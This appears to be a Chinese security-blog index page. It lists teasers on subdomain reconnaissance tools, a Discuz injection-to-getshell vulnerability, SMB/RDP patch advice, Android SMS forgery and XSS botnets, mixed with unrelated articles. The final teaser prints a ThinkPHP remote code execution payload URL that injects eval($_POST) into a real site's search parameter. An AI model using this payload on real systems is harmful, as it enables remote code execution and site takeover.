1.依靠工具以及搜索引擎： nslookup fierce.pl dnsenum google.com 2.子域名查询工具: 子域名查询3.0.rar
神兵利刃
神兵利刃
业界关注
>从Discuz 7.2严重注入漏洞到GetShell
在昨天下午，突然惊现一个Discuz的注入漏洞，影响Discuz 7.2及以下版本，都是比较老的了，但是由于很多老网站都没有及时升级版本的习惯，影响范围是比较大的。由于乌云的一个猪队友公司，提前暴露了...
神兵利刃
IOS系统调试器
来自：https://developer.xamarin.com/guides/cross-platform/windows/ios-simulator/ Test and debug iOS app...
移动安全
Android系统的阿基里斯之踵：伪造短信篇
导读：Android系统的日益强大，但Android平台的安全问题一直是其“阿基里斯之踵”。据统计，2012 年有 79% 的恶意软件都寄生于 Andriod 之上，此数字比 2011 年更高出 ...
系统文档
方程式组织攻击漏洞相关修复和补丁
修复建议此次严重0day漏洞主要影响SMB和RDP服务，以下内容仅为临时处置方案：在微软发布官方补丁之前，建议临时关闭SMB服务，可参考这里。PS C:\WINDOWS\system32&g...
网络安全
由XSS漏洞引发的僵尸网络DDos攻击风暴
写在前面： 本文中的黑客利用XSS控制的僵尸网络进行DDosS攻击，存在漏洞的视频网站，被云安全服务提供商隐去了名字，会是youtube吗?我们不得而知。 正文： 基于应用层的分布式拒绝...
风土人情
法术与鸡汤：从活佛到仁波切
过去，西藏的政教合一体制，催生了具有世俗权力的宗教领袖的转世制度。大庙里的可以转，小庙里的，当然也无不可。转世的僧人大小领袖，说他是喇嘛可以，按汉人的说法称之为活佛，听起来更神。学究气地称之为朱古，当...
MSSQLSERVER
CPQuery 解决拼接SQL的新方法_MsSql
我一直都不喜欢在访问数据库时采用拼接SQL的方法，原因有以下几点： 1. 不安全：有被SQL注入的风险。 2. 可能会影响性能：每条SQL语句都需要数据库引擎执行之类的开销。 3. 影响代码的可维护性...
帝国cms 搜索功能总结
帝国cms全站搜索功能只能调出固定的几个字段，有时候我们要输出其他字段的值，这时我们应该怎么办呢，一开始我也不知道怎么弄，后来发现在/e/sch/index.php中可以直接对数据库进行操作于是所有问...
Seay信息安全博客
飞飞影视系统2.0.120220(Beta4)版thinkphp任意代码执行
显示不全请点击全屏阅读 第一个方法 直接执行 http://www.2cto.com/index.php?s=vod-search-area-${@print(eval($_POST))} .html...
